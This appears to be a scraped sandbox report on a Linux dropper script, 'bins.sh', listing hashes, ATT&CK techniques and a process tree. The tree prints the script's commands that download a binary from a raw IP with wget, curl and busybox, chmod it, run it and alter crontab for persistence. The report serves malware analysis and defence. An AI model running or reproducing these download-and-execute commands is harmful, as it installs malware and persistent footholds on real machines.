d9ea827daf3c89e87e902422d55ef24029e288df76a9f4b401601c7b5b39992f

General

Target

bins.sh
Size

10KB
MD5

242c2d611eb5f6a69491c5473478724d
SHA1

43fc8b512a15760d8f534d472b1c397ffb32db53
SHA256

d9ea827daf3c89e87e902422d55ef24029e288df76a9f4b401601c7b5b39992f
SHA512

e292d25f39f1cf3ad6f46ee5d4f6ba74ca66ff6a23276bd28a23e5dc6048e7e41887196e2140dcedabf6571dc4e74d21abbded8594205ff505b231aee1ba44ab
SSDEEP

192:cphIsylBhwNZPm+Q/N3Xgz79uOkNJmXIsylBhiNZPm+c3XgfuOkNJD:cphIsUBhD/c75XIsUBh3

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

1506 chmod
Executes dropped EXE 1 IoCs

Processes:

dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

ioc pid process

/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc 1507 dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
Renames itself 1 IoCs

Processes:

dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

pid process

1508 dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.pinPk0 crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1506	chmod

ioc	pid	process
/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	1507	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

pid	process
1508	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.pinPk0	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

description	ioc	process
File opened for reading	/proc/1536/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/20/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/83/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1152/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1473/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1615/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/32/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/169/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/330/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1181/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1617/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/85/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/4/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/34/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/35/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/98/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/626/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1533/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1542/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1312/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1582/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1594/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/6/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/162/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/436/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1522/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1575/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/29/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1538/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1137/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/952/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1142/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1540/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/14/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/165/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/432/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1177/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1527/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/27/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/434/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1587/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1613/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/167/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1558/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1573/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/198/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1562/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1606/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/79/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1570/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/12/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/267/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/329/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1150/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1515/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1553/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/156/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/131/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1610/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/25/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1584/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/1616/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
File opened for reading	/proc/708/cmdline	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	wget
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	curl
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1481
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1482
- /usr/bin/wget
  wget http://216.126.231.240/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Writes file to tmp directory
  PID:1483
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Writes file to tmp directory
  PID:1497
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Writes file to tmp directory
  PID:1498
- /bin/chmod
  chmod 777 dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  ./dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1507
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1509
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1510
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1511
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1512
- /bin/rm
  rm dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://216.126.231.240/bins/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  PID:1517

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Persistence

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Privilege Escalation

Scheduled Task/Job

1

T1053

Cron

1

T1053.003

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.pinPk0

Filesize
210B

MD5
8f004e6371f85d8cc94dbd258401eb59

SHA1
f5e9eba3aaf2031b38c3d55f33ac704a0dcc4953

SHA256
56a197b579e8a33b6c054b4b407852ace3678de07fad5dc91fc96f9b3790e3fa

SHA512
89c69196147e371fd636763370c717237a1fe3e9648bfa06f861a17e28058c3463886603487d5e83ec5c6d843ec870fdc5fa2b68286cd520beee97b3856dae82

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads